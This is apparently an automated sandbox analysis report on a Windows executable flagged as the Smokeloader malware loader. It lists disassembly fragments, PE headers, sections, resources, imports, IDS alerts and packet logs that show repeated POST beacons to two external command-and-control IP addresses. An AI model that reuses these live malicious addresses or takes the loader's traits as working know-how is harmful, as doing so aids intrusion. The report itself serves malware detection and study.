mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007F1F98811016h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007F1F98811014h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007F1F98811017h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007F1F9881582Fh
fstp st(0)
fld tbyte ptr [004497EAh]
ret
fstp st(0)
or cl, cl
je 00007F1F9881101Dh
fstp st(0)
fldpi
or ch, ch
je 00007F1F98811014h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007F1F98811009h
fchs
ret
fstp st(0)
jmp 00007F1F98815805h
fstp st(0)
mov cl, ch
jmp 00007F1F98811012h
call 00007F1F98810FDEh
jmp 00007F1F98815810h
int3
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x47774	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5b000	0x12b58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6e000	0xa48	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2690	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x19c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x470d4	0x47200	fdfc02f95441d5de39fe3ca16d404bde	False	0.7339939861599297	OpenPGP Secret Key Version 4	7.014294223606666	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x49000	0x1185c	0x6000	27249428db74ea0fe3ff506f8860ff3d	False	0.07784016927083333	Matlab v4 mat-file (little endian) n2, sparse, rows 0, columns 0	0.9053342754782987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x12b58	0x12c00	e8d4a5e3d5fb7eafd6df3aa7ac23f8f5	False	0.40013020833333335	data	5.021811724306864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6e000	0x14be	0x1600	7ce203f0c14ffae82977c4b4b95d3fda	False	0.4053622159090909	data	3.9742437726842943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
XUBONAVEGUCIZAKUFAMABAWADUJATA	0x65130	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.5879156423858196
XUBONAVEGUCIZAKUFAMABAWADUJATA	0x65130	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.5879156423858196
RT_CURSOR	0x66fc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x67e68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x68710	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0x68ca8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x68dd8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x68eb0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x69d58	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x6a600	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x6ab98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x6ba40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x6c2e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x5b7f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5351382488479263
RT_ICON	0x5b7f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5351382488479263
RT_ICON	0x5beb8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.41151452282157674
RT_ICON	0x5beb8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.41151452282157674
RT_ICON	0x5e460	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.44680851063829785
RT_ICON	0x5e460	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.44680851063829785
RT_ICON	0x5e8f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.36886993603411516
RT_ICON	0x5e8f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.36886993603411516
RT_ICON	0x5f7a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5130866425992779
RT_ICON	0x5f7a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5130866425992779
RT_ICON	0x60048	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.5841013824884793
RT_ICON	0x60048	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.5841013824884793
RT_ICON	0x60710	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6502890173410405
RT_ICON	0x60710	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6502890173410405
RT_ICON	0x60c78	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.462448132780083
RT_ICON	0x60c78	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.462448132780083
RT_ICON	0x63220	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.475375234521576
RT_ICON	0x63220	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.475375234521576
RT_ICON	0x642c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.45778688524590166
RT_ICON	0x642c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.45778688524590166
RT_ICON	0x64c50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.5106382978723404
RT_ICON	0x64c50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.5106382978723404
RT_DIALOG	0x6cad8	0x58	data			0.8977272727272727
RT_STRING	0x6cb30	0x374	data	Tamil	India	0.46945701357466063
RT_STRING	0x6cb30	0x374	data	Tamil	Sri Lanka	0.46945701357466063
RT_STRING	0x6cea8	0x2ae	data	Tamil	India	0.478134110787172
RT_STRING	0x6cea8	0x2ae	data	Tamil	Sri Lanka	0.478134110787172
RT_STRING	0x6d158	0x4e8	data	Tamil	India	0.4434713375796178
RT_STRING	0x6d158	0x4e8	data	Tamil	Sri Lanka	0.4434713375796178
RT_STRING	0x6d640	0x514	data	Tamil	India	0.4276923076923077
RT_STRING	0x6d640	0x514	data	Tamil	Sri Lanka	0.4276923076923077
RT_ACCELERATOR	0x66f68	0x58	data	Tamil	India	0.7954545454545454
RT_ACCELERATOR	0x66f68	0x58	data	Tamil	Sri Lanka	0.7954545454545454
RT_GROUP_CURSOR	0x68c78	0x30	data			0.9375
RT_GROUP_CURSOR	0x68e88	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x6ab68	0x30	data			0.9375
RT_GROUP_CURSOR	0x6c850	0x30	data			0.9375
RT_GROUP_ICON	0x5e8c8	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0x5e8c8	0x30	data	Tamil	Sri Lanka	0.9375
RT_GROUP_ICON	0x650b8	0x76	data	Tamil	India	0.6694915254237288
RT_GROUP_ICON	0x650b8	0x76	data	Tamil	Sri Lanka	0.6694915254237288
RT_VERSION	0x6c880	0x254	data			0.535234899328859

Imports

DLL

Import

KERNEL32.dll

GlobalCompact, CreateProcessW, InterlockedIncrement, GetCurrentProcess, GetLogicalDriveStringsW, CreateJobObjectW, SetComputerNameW, SetVolumeMountPointW, GetComputerNameW, GetTickCount, GetCommConfig, ClearCommBreak, GetConsoleAliasExesW, EnumTimeFormatsW, TlsSetValue, GetEnvironmentStrings, SetFileShortNameW, ReadConsoleInputA, GetVersionExW, GetFileAttributesA, GlobalMemoryStatus, GetModuleFileNameW, GetShortPathNameA, VerifyVersionInfoW, InterlockedExchange, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, DefineDosDeviceW, CreateNamedPipeA, SetFileAttributesA, LoadLibraryA, GetNumberFormatW, OpenJobObjectW, SetEnvironmentVariableA, GetCurrentDirectoryA, OpenEventW, LCMapStringW, CommConfigDialogW, GetTimeFormatW, GetTempFileNameW, HeapAlloc, HeapReAlloc, GetStartupInfoW, RaiseException, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, HeapCreate, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsGetValue, TlsAlloc, TlsFree, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleHandleA, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, WideCharToMultiByte, HeapSize, GetLocaleInfoA, LCMapStringA, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, CreateFileA

GDI32.dll

GetCharWidth32A

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T18:37:39.640493+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49736	189.164.127.217	80	TCP
2024-10-24T18:38:58.525736+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50003	189.164.127.217	80	TCP
2024-10-24T18:39:12.106292+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50004	189.164.127.217	80	TCP
2024-10-24T18:39:31.867272+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	53258	189.164.127.217	80	TCP
2024-10-24T18:39:51.793152+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	58682	189.164.127.217	80	TCP
2024-10-24T18:40:12.354239+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	58683	201.124.145.196	80	TCP
2024-10-24T18:40:27.315155+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	58684	201.124.145.196	80	TCP
2024-10-24T18:40:45.531760+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	58685	201.124.145.196	80	TCP
2024-10-24T18:41:03.377372+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	58686	201.124.145.196	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 18:37:38.809153080 CEST	49736	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:37:38.814568996 CEST	80	49736	189.164.127.217	192.168.2.4
Oct 24, 2024 18:37:38.814672947 CEST	49736	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:37:38.814829111 CEST	49736	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:37:38.814851046 CEST	49736	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:37:38.820297956 CEST	80	49736	189.164.127.217	192.168.2.4
Oct 24, 2024 18:37:38.820322990 CEST	80	49736	189.164.127.217	192.168.2.4
Oct 24, 2024 18:37:39.640352011 CEST	80	49736	189.164.127.217	192.168.2.4
Oct 24, 2024 18:37:39.640492916 CEST	49736	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:37:39.646840096 CEST	49736	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:37:39.652280092 CEST	80	49736	189.164.127.217	192.168.2.4
Oct 24, 2024 18:38:57.702812910 CEST	50003	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:38:57.708116055 CEST	80	50003	189.164.127.217	192.168.2.4
Oct 24, 2024 18:38:57.708194971 CEST	50003	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:38:57.708359957 CEST	50003	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:38:57.708403111 CEST	50003	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:38:57.713778019 CEST	80	50003	189.164.127.217	192.168.2.4
Oct 24, 2024 18:38:57.713787079 CEST	80	50003	189.164.127.217	192.168.2.4
Oct 24, 2024 18:38:58.525589943 CEST	80	50003	189.164.127.217	192.168.2.4
Oct 24, 2024 18:38:58.525736094 CEST	50003	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:38:58.525759935 CEST	50003	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:38:58.531079054 CEST	80	50003	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:11.292944908 CEST	50004	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:11.298408985 CEST	80	50004	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:11.298485041 CEST	50004	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:11.298638105 CEST	50004	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:11.298665047 CEST	50004	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:11.303926945 CEST	80	50004	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:11.303936958 CEST	80	50004	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:12.104166985 CEST	80	50004	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:12.106292009 CEST	50004	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:12.106292963 CEST	50004	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:12.111700058 CEST	80	50004	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:31.052088976 CEST	53258	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:31.057555914 CEST	80	53258	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:31.057660103 CEST	53258	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:31.057832003 CEST	53258	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:31.057862043 CEST	53258	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:31.063290119 CEST	80	53258	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:31.063405991 CEST	80	53258	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:31.867206097 CEST	80	53258	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:31.867271900 CEST	53258	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:31.867327929 CEST	53258	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:31.873389959 CEST	80	53258	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:50.970066071 CEST	58682	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:50.976711988 CEST	80	58682	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:50.976787090 CEST	58682	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:50.976933956 CEST	58682	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:50.976965904 CEST	58682	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:50.982501030 CEST	80	58682	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:50.983058929 CEST	80	58682	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:51.793059111 CEST	80	58682	189.164.127.217	192.168.2.4
Oct 24, 2024 18:39:51.793152094 CEST	58682	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:51.793653011 CEST	58682	80	192.168.2.4	189.164.127.217
Oct 24, 2024 18:39:51.799093008 CEST	80	58682	189.164.127.217	192.168.2.4
Oct 24, 2024 18:40:11.614111900 CEST	58683	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:11.619623899 CEST	80	58683	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:11.619712114 CEST	58683	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:11.621645927 CEST	58683	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:11.621646881 CEST	58683	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:11.627052069 CEST	80	58683	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:11.627221107 CEST	80	58683	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:12.353992939 CEST	80	58683	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:12.354238987 CEST	58683	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:12.354238987 CEST	58683	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:12.359880924 CEST	80	58683	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:26.488370895 CEST	58684	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:26.494388103 CEST	80	58684	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:26.494493961 CEST	58684	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:26.494584084 CEST	58684	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:26.494601011 CEST	58684	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:26.499955893 CEST	80	58684	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:26.500116110 CEST	80	58684	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:27.315067053 CEST	80	58684	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:27.315155029 CEST	58684	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:27.315222025 CEST	58684	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:27.320749044 CEST	80	58684	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:44.707995892 CEST	58685	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:44.713737011 CEST	80	58685	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:44.713851929 CEST	58685	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:44.713968992 CEST	58685	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:44.714004040 CEST	58685	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:44.719439983 CEST	80	58685	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:44.719499111 CEST	80	58685	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:45.531666994 CEST	80	58685	201.124.145.196	192.168.2.4
Oct 24, 2024 18:40:45.531759977 CEST	58685	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:45.533857107 CEST	58685	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:40:45.539627075 CEST	80	58685	201.124.145.196	192.168.2.4
Oct 24, 2024 18:41:02.543734074 CEST	58686	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:41:02.565335035 CEST	80	58686	201.124.145.196	192.168.2.4
Oct 24, 2024 18:41:02.565501928 CEST	58686	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:41:02.565610886 CEST	58686	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:41:02.565638065 CEST	58686	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:41:02.571108103 CEST	80	58686	201.124.145.196	192.168.2.4
Oct 24, 2024 18:41:02.571614027 CEST	80	58686	201.124.145.196	192.168.2.4
Oct 24, 2024 18:41:03.377175093 CEST	80	58686	201.124.145.196	192.168.2.4
Oct 24, 2024 18:41:03.377372026 CEST	58686	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:41:03.380084991 CEST	58686	80	192.168.2.4	201.124.145.196
Oct 24, 2024 18:41:03.385701895 CEST	80	58686	201.124.145.196	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 18:37:36.562937975 CEST	62460	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:37.560062885 CEST	62460	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:38.575629950 CEST	62460	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:38.807322979 CEST	53	62460	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:38.807343960 CEST	53	62460	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:38.807356119 CEST	53	62460	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:39.708722115 CEST	54685	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:40.700933933 CEST	54685	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:41.716922045 CEST	54685	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:43.731969118 CEST	54685	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:45.982157946 CEST	53	54685	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:45.982176065 CEST	53	54685	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:45.982188940 CEST	53	54685	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:45.982542992 CEST	53	54685	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:45.990561962 CEST	63838	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:46.001085043 CEST	53	63838	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:46.004443884 CEST	59949	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:46.997514009 CEST	59949	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:48.013371944 CEST	59949	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:50.043087006 CEST	59949	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:37:52.265104055 CEST	53	59949	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:52.265126944 CEST	53	59949	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:52.265140057 CEST	53	59949	1.1.1.1	192.168.2.4
Oct 24, 2024 18:37:52.265301943 CEST	53	59949	1.1.1.1	192.168.2.4
Oct 24, 2024 18:38:58.528233051 CEST	51766	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:38:59.517595053 CEST	51766	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:00.532829046 CEST	51766	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:02.544687986 CEST	51766	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:04.717839956 CEST	53	51766	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:04.717888117 CEST	53	51766	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:04.717899084 CEST	53	51766	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:04.717907906 CEST	53	51766	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:04.782851934 CEST	57447	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:04.793390036 CEST	53	57447	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:04.871172905 CEST	61679	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:05.873804092 CEST	61679	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:06.894021034 CEST	61679	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:08.894138098 CEST	61679	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:11.105513096 CEST	53	61679	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:11.105526924 CEST	53	61679	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:11.105535030 CEST	53	61679	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:11.105869055 CEST	53	61679	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:12.166372061 CEST	51673	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:13.153822899 CEST	51673	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:13.161305904 CEST	53	51673	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:18.460525036 CEST	53	51673	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:20.863650084 CEST	64363	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:20.873910904 CEST	53	64363	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:20.897675037 CEST	65165	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:21.888170958 CEST	65165	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:22.904638052 CEST	65165	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:24.919538021 CEST	65165	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:27.112010002 CEST	53	65165	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:27.112081051 CEST	53	65165	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:27.112111092 CEST	53	65165	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:27.112143040 CEST	53	65165	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:31.873675108 CEST	52537	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:32.872932911 CEST	52537	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:32.880987883 CEST	53	52537	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:38.116784096 CEST	53	52537	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:40.589396954 CEST	59400	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:40.602171898 CEST	53	59400	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:40.604391098 CEST	56105	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:41.592582941 CEST	56105	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:42.609253883 CEST	56105	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:44.624702930 CEST	56105	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:46.820019007 CEST	53	56105	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:46.820038080 CEST	53	56105	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:46.820044041 CEST	53	56105	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:46.820339918 CEST	53	56105	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:51.826590061 CEST	49186	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:52.845719099 CEST	49186	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:53.858628035 CEST	49186	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:55.876540899 CEST	49186	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:58.078646898 CEST	53	49186	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:58.078690052 CEST	53	49186	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:58.078747988 CEST	53	49186	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:58.078775883 CEST	53	49186	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:58.101263046 CEST	62768	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:58.111707926 CEST	53	62768	1.1.1.1	192.168.2.4
Oct 24, 2024 18:39:58.113786936 CEST	56440	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:39:59.107065916 CEST	56440	53	192.168.2.4	1.1.1.1
